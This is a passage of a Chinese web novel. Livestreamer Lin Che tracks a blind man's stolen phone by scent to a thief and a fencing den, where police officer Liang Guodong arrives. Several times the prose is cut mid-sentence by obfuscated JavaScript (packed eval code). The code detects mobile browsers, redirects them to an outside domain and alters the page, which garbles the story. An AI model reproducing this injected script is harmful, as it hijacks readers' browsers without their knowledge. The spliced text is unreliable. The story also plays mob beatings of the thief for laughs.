公共厕所门口涌动着人潮，外卖骑手的电动车铃声、商铺招揽顾客的喇叭声、路人交谈的细碎话语交织在一起。 林澈避开地上黏腻的奶茶渍，询问道。 “你当时站在哪个位置还记得吗？” 青年咬着下唇，喉结上下滚动，努力回忆当时的场景。 “这附近有个垃圾桶，我当时就站在它旁边” 林澈一转头发现锈迹斑斑的绿色垃圾桶，歪斜着立在墙角，周围散落着几张揉皱的纸巾和饮料瓶。 走到垃圾桶旁边，随即目光一寸寸扫过周围，寻找发出特殊亮光的东西。 可除了一些瓶子和纸壳外面，什么都没找到。 直播间的弹幕在手机屏幕上快速滚动。 “没办法，要是真丢在公共厕所门口。” “说实话也不用找了，估计早就被人捡走了。” “主播，你打个电话试试，打得通代表还好，要是直接关机就算了吧。” “是啊，主播，大不了咱们直播间的几万人一人出个块八毛的给他买一部。” 林澈额前的碎发被汗水黏在皮肤上，笑着说道。 “没事，我再找找。” 随即林澈掏出手机，按下拨号键。 机械的女声从听筒里传出：“您拨打的电话已关机。” 林澈轻叹了口气，把手机塞回裤兜 只能说果然不出所料。 抬头时，看到了斜对角“家家乐”超市的红色招牌。 超市的玻璃门内冷气外泄，带起一阵细小的风。 穿着藏青色围裙的老板正坐在塑料凳上，圆滚滚的肚子把围裙撑得紧绷，脸上挂着招牌式的憨厚笑容。 老板瞥见林澈和盲人青年，肥厚的手掌在空中挥了挥，示意两人过去。 林澈偏头解释道。 “给你水的超市老板在招呼咱们过去。” 青年点点头，伸手紧紧抓住林澈的衣角。 “嗯，咱们去看看。” 林澈抬手护着青年穿过斑马线。 塑料凳在超市老板身下发出吱呀声响。 眼睛在两人之间打转。 “小伙子，你帮他找手机？” “嗯。”林澈抹了把脖颈的汗，衣服早已经被汗水浸透，黏在背上格外难受。 超市老板突然重重叹了口气，圆滚滚的肚子随着叹息上下起伏。 “别找了。” “他的手机就是被偷了。” “这个我能作证。” “当时我看到有人撞了他一下。” “然后他来我这里，就发现手机没了。” “肯定是被撞他的人给偷走了。” 青年突然抓住林澈的胳膊。 “我想起来了。” “当时我站在垃圾桶旁问路。” “确实有个人蹭了我一下。” “还是他给我指出超市的方向。” 林澈目光灼灼地看向超市老板。 “那您看清他的样貌了吗？” 老板布满皱纹的脸露出为难神色，肥厚的手掌挠了挠后脑勺。 “当时并没有留意。” 青年突然开口：“哥，我知道一些那人的特征。” 林澈和超市老板满脸疑惑。 青年伸手轻轻点了点鼻尖。 “不是靠眼睛。” “而是鼻子！” “那人身上有一股很浓很浓的香味。” “类似巧克力的味道。” 超市老板浑浊的眼睛突然亮起来，圆滚滚的身子灵活地从塑料凳上弹起，围裙带子在身后晃荡。 一路小跑冲进店铺，货架碰撞发出哗啦声响。 不多时，他举着一盒香烟冲出来，塑料包装在阳光下泛着油光。 “你闻闻是这个味道吗？” 青年双手接过香烟，鼻尖几乎要贴上包装盒，深吸一口气。 突然重重地点头，脖颈处青筋暴起。 “就是这个味道。” “绝对不会错。” 直播间的弹幕如炸开的爆米花，疯狂滚动着。 “恭喜主播找到关键证人和小偷的特征。” “但这个该怎么找呢？” “总不能牵过来一条警犬吧” “其实这也不是不可能，你说对吧老梁。” “我可以问问，不保证啊。” “哈基梁还是够朋友的，有事真去求人啊。” ....... 超市老板捏着香烟的手指微微发颤，圆脸上的笑意消失，取而代之的是满脸沮丧。 用围裙角抹了把额头的汗，叹了口气，肥厚的手掌摩挲着烟盒。 “嘶，好像就算有这个消息也没办法。” “这种烟附近几家店铺都有卖。” “况且我也没看到那小偷正脸，就算真来我家买的香烟，我也认不出来啊。” 林澈伸手接过香烟，指尖轻轻敲了敲烟盒，目光中透着思索。 “这个香烟好卖吗？” 老板肥厚的手掌用力摆了摆，圆滚滚的肚子随着动作晃动。 “不好卖。” “就是小年轻喜欢抽这种带着味道的。” “我这年前进的货，到现在都没卖完。” 林澈凑近香烟，深深吸气。 就在这时，瞳孔猛地一缩 抽奖获得的嗅觉提升技能发动，眼前突然浮现出一道若隐若现的细线，像发光的蛛丝般格外醒目。 林澈不动声色地将香烟递回，嘴角勾起一抹不易察觉的弧度。 “谢谢您。” 老板憨厚地摆摆手，脸上写满歉疚。 “我也是真的什么都没帮上忙。” “早知道他是个盲人，我当时无论如何也会上前看一眼的。” 离开超市，林澈带着青年顺着“细线”疾步前行。 细线直指不远处的青年旅店。 这么容易就找到住址了？ 林澈心头一喜，脚步不自觉地加快。 两人走进旅店，踏上吱呀作响的木质楼梯。 然而，当来到二楼，并没有如预想般进入任何一间客房，细线竟径直指向角落的杂物间。 林澈眉头紧锁，眼神中满是疑惑，伸手推开木门。 昏暗的杂物间里堆满破旧纸箱，霉味混着腐朽的气息扑面而来。 定睛一看，那道细线从窗户缝隙穿出。 “这小偷够谨慎的！” “还知道欲盖弥彰。” 第115章 找到目标 林澈踮脚扒住窗沿，运动鞋在斑驳的墙面上蹭出几道灰痕，猛地一翻身就钻了出去。 灼人的热浪裹挟着沥青的气味扑面而来，顾不上擦汗，立刻转身探进手去，攥住青年的手腕用力一拉。 青年踉跄着跌出窗口，扶了下戴着的墨镜。 直播间的弹幕彻底“炸锅”。 “我看不懂，但我大受震撼。” “主播，你是怎么确定小偷走的这里？” “难道这里你也熟悉？” “主播，你不会曾经也兼职干过小偷吧？” “别说很有可能，老梁查查主播。” “收到。” “哈基梁确实可以，说查真的查。” “眼中根本没有其他，有的只是正义啊，老梁。” “哈哈哈哈。” 两人站在一栋老旧民宅坑洼不平的屋顶。 林澈抹了把脸上的汗，顺着若隐若现的“细线”望去，踩着滚烫的瓦片继续前行。 越过两栋低矮的房屋，一个竹梯歪斜地靠在墙根，竹节处缠绕的铁丝早已锈迹斑斑。 “抓紧我。”林澈半蹲下身，背着青年小心翼翼地顺着竹梯往下爬。 鞋底刚沾到地面，就听见墙角传来“咔嗒”的打火机声响。 三个铁塔般的壮汉蹲在阴影里，迷彩工装裤膝盖处磨得发亮，手中香烟腾起的白雾在他们凶恶的眉眼间缭绕。 察觉到有人靠近，三人同时起身，纷纷站起来看向这边。 场面几乎是在一瞬间就变得剑拔弩张。 直播间的观众们的心提到了嗓子眼，弹幕如同密集的鼓点。 “这仨不会就是小偷吧？” “别说，我看还挺像。” “尼玛的，主播应该能打得过吧？” “兄弟，要是主播一个人我们就不担心了，打不过还跑不过吗？” “但是带着一个盲人，恐怕就麻烦了。” 四人互相对视。 为首的壮汉吐出一口烟圈，眯起眼睛将两人从上到下打量一番，又看了看梯子。 喉结滚动发出瓮声瓮气的质问。 “出什么事了？” 林澈挺直脊背，毫不畏惧地迎上对方凶狠的目光。 “他的手机被偷了。” 为首的壮汉盯着青年，发现从刚刚开始，这人就一直看着前方。 察觉到不对，便往前跨出一步，粗糙的大手在青年眼前挥了挥。 “盲人？” 林澈重重地点点头。 壮汉突然一脚踹飞脚边的石子，震得地面都跟着发颤，脖颈处青筋暴起。 “艹！” “这小偷真不是个东西。” “连盲人的东西都偷。” “老二老三，过来帮忙！” 另外两个壮汉没有多说什么，一人狠狠碾灭烟头，火星迸溅在碎石路上。 在看到三人的时候林澈就知道他们不是小偷。 至少不是偷手机那人，他们身上只有淡淡的汗味，没有巧克力香烟的味道。 而他们三人站起来，也是因为胡同本身就不宽。 三人蹲在一起，正好堵得死死的。 不站起来其他人根本过不去。 虽说三人浓眉倒竖、凶神恶煞的模样容易让人误会，但此刻壮汉们眼底的义愤填膺却做不得假。 林澈：“那就一起来！” 话音刚落，其中一个壮汉蹲下身子，宽大的手掌托住青年的膝盖，一把将人背了起来。 “兄弟放心，有我们在！” 青年有些慌乱地抓着壮汉的肩膀。 为首的壮汉伸手抹了把脸上的汗问道。 “兄弟，你知道小偷是谁吗？” 林澈望着空中若隐若现的“细线”，眼神笃定。 “我能找到。” 壮汉不再多问，默契地跟在他身后，脚步踏在青石板上发出整齐的“咚咚”声。 一行人走出幽深的胡同，烈日瞬间将众人笼罩。 就看到一个十八九岁的小伙坐在石墩上。 拐过街角时，一道懒洋洋的身影映入眼帘。 一个十八九岁的小伙仰躺在石墩上，破洞牛仔裤歪歪斜斜地挂在腿上，白色T恤被晒得发黄 翘着二郎腿，嘴里叼着根香烟，袅袅白烟混着那股熟悉的巧克力味，在空气中飘散开来，显得颇为悠闲。 林澈脚步沉稳地从石墩旁略过，余光却死死盯着仰躺的小伙。 小伙不过抬了抬眼皮，漫不经心地扫了眼这群人，随后又懒洋洋地枕着手臂躺下。 破洞牛仔裤下露出的脚踝随着哼唱的小调轻轻晃动，仿佛周遭的一切都与他无关。 就在壮汉们簇拥着青年堪堪将石墩围住的刹那。 林澈猛地刹住脚步，运动鞋在地面擦出刺耳的声响。 如同离弦之箭般扑向小伙，铁钳般的手掌狠狠按住对方肩膀。 小伙反应极快，瞳孔骤缩的瞬间，身子如泥鳅般扭动，用力一挣，竟生生从那件发黄的T恤里挣脱出来。 光着膀子的他侧身一滚，避开林澈的抓捕，撒开腿便朝着巷口狂奔。 盲人青年突然激动地大喊，指尖颤抖着指向小偷逃跑的方向。 “对！就是这个味道！错不了！” 直播间瞬间炸开了锅，弹幕如同汹涌的潮水疯狂刷屏。 “靠靠靠！主播真的找到了？” “尼玛，什么情况？” “刚刚那人是小偷？我怎么都没看出来。” 就在众人一头雾水之际，老梁的弹幕如同一记重锤砸在满屏疑惑中。 “那人确实不对劲，刚刚五人过来时，我能看出那小伙腿的摆动突然停止，应该是认出了盲人青年，虽然后面又恢复了摆动，但动作太刻意了不自然。” “那一瞬间我就觉得他有问题，本来还想提醒下的，没想到林澈竟然也发现了。” 新的弹幕又铺天盖地而来，有人不解地质问。 “当我打出问号的时候，不是我觉得我有问题，而是觉得你有问题。” “小偷真就那么明显？” “看一眼就能看出个七七八八？” 老梁继续发送弹幕。 “这也就是在看直播，如果在现场，我应该能站在更远就发现问题。” “常年做坏事的人，看人时或多或少都不自然，你们多抓几个罪犯也能发现问题。” 瞬间，满屏的惊叹号和疑问号炸开，各种搞笑表情包乱入，新弹幕如同决堤的洪水。 “好好好，老梁，你这个逼装的，我只能给82分，剩下的分666给你。” “真的离谱，都开始讲感觉了。” “不过，主播其实这段时间也没少碰到罪犯，没准他也练出这种感觉了。” “嘶，你这么一说，还真是这样，天天都有。” “离谱，更离谱了。” 第116章 人民群众喜闻乐见的姿势 与此同时，三个壮汉还保持着刚才围堵的姿势，脸上写满了后知后觉的震惊。 为首的壮汉突然一拍脑袋。 脖子上的青筋暴起，声如洪钟。 “**！刚刚那个是小偷。” “快追！别让那家伙跑了！” 另一个壮汉搓着大手，急得直跺脚。 “尼玛的，属泥鳅的，一下子就蹿出去了。” 三人如同被点燃的爆竹，齐刷刷转身朝着街道冲去。 然而，当他们站在烈日暴晒的街道中央，看着两边空荡荡的巷子，炽热的风卷起几片废纸从脚边掠过。 三人挠着脑袋，面面相觑，脸上的凶相全然化作了茫然。 为首的壮汉眯着眼，努力分辨着地面凌乱的脚印，肥厚的手掌擦了擦额角的汗。 “人......往哪边跑了？” 林澈踏着沉稳的步伐，从后方快步跟上来。 三位壮汉听到身后的脚步声，不约而同地扭头看去，等待着林澈的指示。 林澈目光如炬，左右扫视了一圈周围的街道。 太阳高悬于天空，将几人的影子拉得老长。 林澈抬手招了招：“这边。” 三位壮汉对视一眼，没有过多猜疑，便迈着大步跟了上去。 林澈一边走着，一边从口袋里掏出手机，修长的手指熟练地拨通了梁国栋的电话。 待电话接通，喊了一声：“老梁。” 电话那头传来梁国栋沉稳的回应：“嗯嗯，我都看到了，马上到。” 与此同时，另一边的小偷正狼狈地逃窜。 他身手敏捷，连翻两道斑驳的砖墙。 随后，他又像只老鼠般从狭小的狗洞里钻出来，蹭得一身灰，逃到一处荒废的院子。 院子里杂草长得比人还高，枯黄的草叶在风中瑟瑟作响。 各种破旧的纸箱、塑料袋堆成小山，散发着刺鼻的气味，显然早已被附近的人当作垃圾场。 小偷靠在一堵摇摇欲坠的墙边，抬手擦了擦额头上豆大的汗珠，脸上满是害怕。 “今天真**背。” “偷个东西怎么还会被找回来？” 说着，他猛地一脚踹向旁边的砖垛，砖块发出“哐当”的声响。 越想越气，嘴里不停地骂骂咧咧。 “老子还给那瞎子指路了。” “拿你个东西有什么问题？” “自己保护不了过来找我？” “凸(艹皿艹)！” 骂完，小偷继续往前走，剧烈运动让他的脚步却有些虚浮。 突然，他听到外面传来一阵细碎的脚步声，心脏瞬间提到了嗓子眼。 脑海中浮现出刚刚抓自己时那几个壮汉魁梧的身材，心中一阵发怵，要是被抓到，下场肯定很惨。 小偷猛地站住脚步，身体紧绷，缓缓地往后退去，每一步都小心翼翼。 三个提着菜篮子的大妈有说有笑地从他面前走过。 她们穿着家常的碎花围裙，篮子里装满了新鲜的蔬菜。 其中一位大妈瞥见了神色慌张的小偷，热情地抬手打了个招呼，脸上挂着淳朴的笑容。 小偷脸上挤出一抹僵硬的笑，冲着打招呼的大妈点头应下。 待大妈们走远，他狠狠拍了拍自己发烫的脸，掌心与皮肤碰撞发出“啪”的脆响。 “自己吓自己干什么？” “这里我可是熟得很。” “一群外人怎么可能找得到我？” “放轻松，肯定没问题的。” 一边嘟囔着，小偷抬脚往外走去，脚步愈发轻快。 “别的不说。” “瞎子的东西真好偷啊。” “下次继续找这种人下手。” “他甚至还和我说谢谢。” “哈哈......哈哈....” 笑声戛然而止。 小偷的脸色瞬间变得惨白如纸，嘴角还保持着扭曲的弧度。 前方阴影里，林澈双手抱胸倚着墙，嘴角挂着若有似无的笑意，压迫感扑面而来。 直播间的弹幕疯狂滚动，密密麻麻的文字炸开。 “尼玛的。” “这可真不是个东西。” “这家伙刚刚的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“**，主播这么好的屁股你不踢两脚？” “主播，我求你啦，踢他！狠狠地踢他！” “这也就是主播，要是换上蓉城人，那他才知道什么叫做绝望。” “尼玛的，蓉城必吃榜是吧。” “可怕，太可怕了。” 看着满屏的弹幕，林澈挑了挑眉，嘴角勾起一抹意味深长的笑，对着镜头说道。 “你们说什么呢？” “咱们怎么能**？” “这可是不允许的。” “另一边的三位大哥，肯定是在帮助小偷离开狗洞。” “只不过使的劲大了一些，用的方法粗鲁了些。” 话音刚落，弹幕再次疯狂滚动。 “啊？” “主播，你要不听听这个惨叫。” “主播，你不要睁着眼说瞎话啊。” 林澈耸了耸肩，两手潇洒地摊开，嘴角噙着一抹坏笑，挑眉看向镜头。 “说什么呢？” “我倒是觉得小偷估计是心里害怕。” “不小心磕到了墙上导致的惨叫。” “我们可都是好人，是不会随便**的。” “没看到的事，你们怎么能乱说。” 直播间瞬间被满屏的问号淹没。 林澈悠哉地低头瞥了眼时间，就这样气定神闲地等了三分钟。 当墙那头的挣扎声和惨叫声渐渐平息。 抬起四十二码的脚，精准又用力地将卡在狗洞的小偷踹了出去，只听“扑通”一声闷响。 随后，他双手插兜，慢条斯理地从正门绕了出去。 等林澈来到墙另一头时，就看见小偷灰头土脸地趴在地上，脸上蹭满了泥土和墙灰，模样狼狈不堪。 林澈嘴角勾起一抹得逞的笑容，语带调侃。 “呦。” “你这人这么不小心。” “竟然把自己磕成这样。” 小偷耷拉着脑袋，活像只斗败的公鸡，一言不发。 林澈可没打算放过他，紧追不舍地问道。 “手机呢？” 小偷看着旁边锅盖般的手掌，立刻换上一副谄媚的假笑，眼神却闪烁不定。 “那个被我卖了。” “钱也被我花完了。” “盲人手机都是按键，根本不值钱。” 旁边的壮汉怒目圆睁，伸手一把捏住小偷的肩膀，骨节微微发白。 只听“嘎吱嘎吱”的声响传来，小偷疼得龇牙咧嘴，五官都皱成了一团。 “不值钱你还偷？” “还说就挑着盲人偷？” 小偷哭丧着脸，连连求饶。 “哥，我错了。” “我今后肯定不敢了。” “这次是我鬼迷日眼了。” “我带您去把手机要回来。” 林澈满意地微微点头。 “OK。” “带路吧。” 小偷垂头丧气地挪动脚步，走在队伍最前端，脑袋几乎要耷拉到胸口。 咬着后槽牙，在心中把林澈和三个壮汉的祖宗十八代都狠狠咒骂了一遍，眼底翻涌着阴鸷的光。 “等着！” “你们四人给我等着！” “那边人多，等我带你们进去后。” “非得让你们知道得罪小爷我是什么下场。” 他一边在心里发狠，一边在脑海中反复勾勒着林澈四人痛哭流涕、跪地求饶的模样。 这臆想中的画面竟让他暂时忘却了身上被折腾出的疼痛。 然而，还没等他再多幻想片刻，一只布满老茧的大手突然攥住了他另一边的肩膀，铁钳般的力道瞬间让他疼得弓起身子。 小偷杀猪般的嚎叫声响起，但他又不敢跑，只能一边惨叫挣扎，一边求饶。 “哎哎哎！” “哥，别用力。” “疼疼疼！” “我错了！我错了！” 往前又走了几条街。 前方赫然出现一栋围墙明显高出周围建筑一截的院落。 斑驳的墙面上，一块巨大的生锈招牌歪斜地挂着，“废品站”三个红字早已褪色，边缘还结满了暗红色的铁锈。 小偷强挤出一个比哭还难看的笑容，转头对林澈说道。 “这里就是我销赃的地点。” “手机就是被买到这里了。” “您看是我先进去，还是带着你们一起进去。” 林澈似笑非笑地拍了拍小偷的肩膀，掌心的力度不轻不重，却让小偷忍不住打了个寒颤。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896043|176260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“当然是一起进去了。” “敲门去吧。” 小偷咽下一口唾沫，硬着头皮快步上前。 走到废品站的后门，颤抖着伸出手，重重敲在锈迹斑斑的铁门上，发出“咚咚咚”的闷响。 很快，里面传来一道沙哑的男声：“干啥的？” 小偷扯着嗓子回应。 “是我。” 听到这熟悉的声音，铁门“吱呀”一声被粗暴拉开，在地上摩擦出刺耳的簌簌声。 就在这电光火石之间，小偷猛地一扭身，凭借着瘦小的身形挣脱开壮汉们的钳制，像条泥鳅般一下子钻进门缝里。 林澈等人目光如炬，顺着打开的门看清了里面的状况。 原本以为只是个普通的废品站，没想到狭小的空间里竟站着十几号人。 这些人穿着五花八门，有的赤着膀子，有的套着破旧的背心，个个凶神恶煞。 正中间的桌子上杂乱地堆满了酒瓶，啤酒沫还顺着瓶身往下淌，旁边散落着各种拆开包装的零食。 小偷扯着破锣嗓子大喊。 “兄弟们。” “我被人搞了。” “他们是过来抢东西。” “一起上制服他们。” 人群中，一位身穿白色T恤的男子缓缓站起。 他眼缝极窄，眯起的双眼像毒蛇般阴冷。 这人正是废品站老板刘哥，他迈步时，脚边的空酒瓶被踢得咕噜噜乱滚。 刘哥扫了眼林澈等人，目光最后落在被壮汉搀扶的盲人青年身上。 突然反手一巴掌狠狠拍在小偷背上，“啪”的声响震得周围人都缩了缩脖子。 “尼玛的。” “自己偷了东西被抓。” “就把人带过来？” “你这是要坏了我们的财路。” 小偷踉跄着往前扑了半步，脑袋几乎要埋进胸口，声音却带着股破罐子破摔的狠劲。 “刘哥。” “现在不是教训我的时候。” “您不把他们收拾了。” “恐怕这生意也很难做下去了。” 这话让刘哥摩挲着下巴沉思片刻，他猛地踢开脚边碍事的纸箱。 “你说得对。” “你的事等会算账。” “先给他们一点教训，让他们别出去乱说。” 第118章 积极配合 得到“支援”的小偷瞬间挺直腰板，脸上的狼狈一扫而空，像只斗胜的公鸡般扬起脑袋，手指几乎戳到林澈鼻尖。 “瞎子怎么了？” “我就爱偷瞎子。” “有种你等会别叫出声。” “打的你们叫爸爸。” 嚣张的话语惹得院内众人哄笑，啤酒瓶碰撞声、口哨声乱作一团。 就在三位壮汉怒目圆睁，刚要把盲人青年轻轻放下、撸起袖子冲上去时，林澈却伸手稳稳拦住他们。 壮汉们满脸疑惑，其中一人急得跺脚。 “哥们？这还能忍？” 林澈却勾起嘴角，笑容里带着洞悉一切的从容。 “兄弟，别演了。” “销赃窝点都被找到了。” “你也不用学着电视剧里打入其中了。” “大批警察马上就到。” 林澈话音刚落，十几双眼睛齐刷刷像探照灯般，瞬间聚焦在小偷身上。 小偷脸上青一块紫一块的伤痕愈发明显，他脖子上青筋暴起，像只被踩了尾巴的猫般跳脚大骂，扯着嗓子吼叫道。 “扯淡。” “什么卧底？” “你当你们是警察啊。” “刘哥，他就是在诈你们。” “赶紧动手把人收拾了，否则被别人发现就麻烦了。” 刘哥眯起的眼睛几乎成了两条细缝，他摩挲着下巴上的胡茬，喉结滚动两下正准备挥手示意手下动手。 随即在所有人的目光注视下。 一辆闪烁着红蓝警灯的警车缓缓停在林澈五人身后，旋转的警灯在墙面投下交错的光影，将屋内众人的脸映得忽明忽暗。 空气仿佛在这一瞬间凝固了，原本还咋咋呼呼的人群像被按了暂停键，一个个僵在原地，连呼吸都下意识放轻了，生怕动静大了引火烧。 刘哥额角的冷汗顺着脸颊往下淌，黏糊糊地贴在皮肤上，让他浑身不自在。 刘哥平日里横得像头蛮牛，刚刚对着林澈几人嘴里的恐吓话一套接一套，可这会儿，别说动手了，连大气都不敢喘一口 警察这两个字，就像一道无形的枷锁，死死地套住了他和身边那群跟班的手脚，借给他们一百个豹子胆，也绝不敢在穿制服的人面前造次。 刘哥等人的目光像被磁石吸住，直勾勾地盯着那辆警车，手心里全是汗。 车门“哐当”一声被推开，梁国栋一马当先跳了下来。 他穿着笔挺的警服，腰间的皮带勒得紧紧的，勾勒出挺拔的身形。 那双鹰隼般的眼睛扫过在场的每一个人，眼神锐利得仿佛能穿透人心。 周身散发的气势如同下山的猛虎，骇得周围的人纷纷低下头，不敢与他对视。 “**！哈基梁来了。” “这排场给的够够的。” “看他往那儿一站，对面那群人立马就蔫了，连个屁都不敢放。” “一下子就让对方鸦雀无声了。” “老梁！老梁！” “老梁：都说了在外面称职务。” “是！梁队！” 刘哥心里“咯噔”一下，像被重锤砸中，他猛地转头，一把死死按住身边小偷的肩膀，指节因为用力而泛白。 那小偷本就慌得六神无主，脸上血色尽褪，嘴唇哆嗦着，眼睛瞪得溜圆。 小偷到现在都想不明白，到底是什么时候报的警？ 要是早知道警察会来，借他个胆子也不敢在这时候跳反啊！ 肩膀上传来的力道越来越大，像是要把他的骨头捏碎，小偷心里又悔又怕，苦涩得像吞了黄连。 偷偷瞥了眼周围，那些刚才还跟着起哄的人，此刻都低着头装聋作哑，没人敢看他一眼。 刘哥咬了咬牙，猛地一挥手，铁门“哐当”一声关上，把外面的光线和声音都隔绝了大半。 林澈和梁国栋并肩站在门外，两人都没说话。 没过多久，铁门后就传来一阵熟悉的惨叫声，夹杂着求饶和桌椅碰撞的声音，听得人头皮发麻。 又过了一会儿，铁门上的小侧门“吱呀”一声被拉开。 那个小偷像条破麻袋似的被扔了出来，他身上的衣服被撕得乱七 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896044|176260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 八糟，脸上青一块紫一块，嘴角还挂着血，蜷缩在地上哼哼唧唧，一副凄凄惨惨的模样。 他的脚边，一部手机被擦得干干净净，端端正正地放着。 刘哥满脸堆着笑，眼角的褶子都挤在了一起，他弓着腰，几乎是小跑着来到梁国栋面前，那姿态活像条摇着尾巴的哈巴狗。 搓着手，语气谄媚得不行。 “阿sir，这人我们根本不认识。” “刚才他拿这手机来卖，说是自己的。” “都怪我眼拙，没看出来是赃物。” “给您添麻烦了，您看这件事......是不是就算了？” 梁国栋垂眉低首，视线落在刘哥那张堆满谄媚笑容的脸上，长长的睫毛在眼下投出一小片阴影，让人猜不透他此刻的心思。 刘哥的目光不自觉地与他对上。 那一瞬间，仿佛有电流窜过全身，他只觉得梁国栋的眼神像淬了冰，冻得他骨头缝都发疼，喉头控制不住地滚动了一下，咽了口唾沫，声音带着一丝不易察觉的颤抖。 意识到今天这事肯定没完了。 刘哥立刻摆正心态，连忙点头，像小鸡啄米似的， “好，我明白了。” “这就让他们挨个出来。” “我们保证积极配合。” “希望您能给我们个机会，就这一次，以后绝对不敢了。” 此时，直播间的弹幕像疯了一样疯狂刷新，密密麻麻的文字几乎要把屏幕盖住。 “哎呦，这梁队是开始装上了啊，不说话就光盯着，看得我都替刘哥紧张。” “给你个眼神自己体会，梁队这气场绝了！” “我也是第一次看到，人能一下子出那么多汗，刘哥那脑门上的汗，跟刚从水里捞出来似的。” “老梁真就那么吓人？平常看过去总是笑呵呵的，一点架子都没有啊。” “那是没有吓你，否则就他那气势，光是往那儿一站，就足以镇住周围所有人。” “没看到这个刘哥都已经开始哆嗦上了吗？腿肚子都在转筋吧，哈哈哈。” 第119章 注意力贴纸 刘哥擦了擦额头的汗，佝偻着腰，几乎是逃也似的走回了废品站里面。 没过多久，废品站里传来一阵窸窸窣窣的躁动。 紧接着，隔壁的墙头突然“噌”地探出一个脑袋，那人戴着顶脏污的鸭舌帽，帽檐压得很低，只露出一双惊慌失措的眼睛。 左右扫视了一圈，见外面似乎没人注意，二话不说，手脚并用地扒住墙头，使劲一撑就要翻墙逃跑。 然而，他刚“咚”的一声落在地上，还没来得及直起身子。 就看到小李已经带着两名警员站在不远处，正似笑非笑地看着他。 小李双手抱胸，笑眯眯地说道。 “动作挺快啊，这是打算抗拒执法，企图畏罪逃跑？行啊，罪加一等！” 那人被这突如其来的一幕吓得魂飞魄散，两腿一软。 “噗通”一声差点直接跪在地上，他脸色惨白，嘴唇哆嗦着，带着哭腔说道。 “我......我错了。” “我不是故意的，我就是一时糊涂，饶了我这一次吧” 梁国栋来到这里，自然就不可能只有自己一个人。 此刻，这座废品站以及周围的几间民房都已经被悄无声息地包围了。 警员们如同蛰伏的猎豹，隐藏在各个角落，密切注视着里面的动静，一只苍蝇都别想飞出去。 废品站后院的大门“吱呀”一声被打开。 刘哥弓着身子，小心翼翼地走在前面，他身后的一群人排着歪歪扭扭的队伍，一个个低着头，大气不敢喘。 刘哥乖乖地站在一边，脸上堆着讨好的笑容。 而其余的人则双手都被用绳子自觉地绑好，绳子勒得不算紧，却透着一股认命的意味。 他们耷拉着脑袋，等待着梁国栋的指示。 整个院子里安静得只剩下众人的呼吸声和偶尔传来的风吹树叶的沙沙声。 梁国栋迈开脚步走上前，皮鞋踩在地面的碎石子上发出轻微的声响。 弯腰捡起了放在小偷旁边的那部手机。 将手机递到林澈手里，语气平淡却带着不容置疑的笃定。 “这是你的事。” “我就不帮你了。” 林澈点了点头，接过手机转身走向一旁的盲人青年，轻声说了句“你的手机”，然后将手机小心翼翼地放进对方摸索着伸出的手里。 盲人青年的手指触碰到手机的瞬间，明显顿了一下，随即紧紧攥住，嘴里连连道谢，声音里满是感激。 梁国栋的目光从盲人青年身上移开，重新投向站在一旁、大气不敢喘的刘哥。 眼神瞬间变得锐利起来，仿佛能穿透他那副谄媚的伪装。 “把你这条销赃的线路好好说说。” 刘哥一听，像是抓住了救命稻草，连忙张了张嘴就要开口，脸上的笑容都变得急切起来。 但梁国栋突然一挥手，打断了他的话，语气不高，却带着一股无形的压力。 “我推荐你想清楚。” “想明白我想听什么。” “不用这么着急说。” 刘哥的话卡在喉咙里，脸上的笑容僵了一下，随即连忙点头，额头上刚消下去一些的冷汗又冒了出来。 心里清楚，梁国栋这是在给他机会，也是在警告他，要是敢有半句假话，后果绝对不堪设想，一丝隐瞒的想法都不敢在脑海里滋生。 梁国栋随后将目光转向蜷缩在地上的小偷。 这家伙短短一个小时内被打了两顿，此刻鼻青脸肿，身上的衣服沾满了尘土和血迹，嘴角还在不停地抽痛，看起来惨兮兮的。 但在场的人没一个同情他，毕竟他干的那些勾当，落到这般田地，活该也是真的活该。 林澈原本还想站在一旁继续看戏，看看梁国栋怎么一步步挖出这条销赃线路，口袋里的手机却突然“叮咚”响了一下。 掏出手机一看，是保安大爷发来的消息。 “林小子，赶紧回来。” “检查的人来了。” 林澈和梁国栋打了个招呼。 自己就先走一步了。 至于三个壮汉和盲人青年都留在那里做笔录了。 直播间的弹幕又开始活跃起来，各种猜测和讨论刷屏而过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15898855|176260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “兄弟们，老梁他是想听什么呢？” 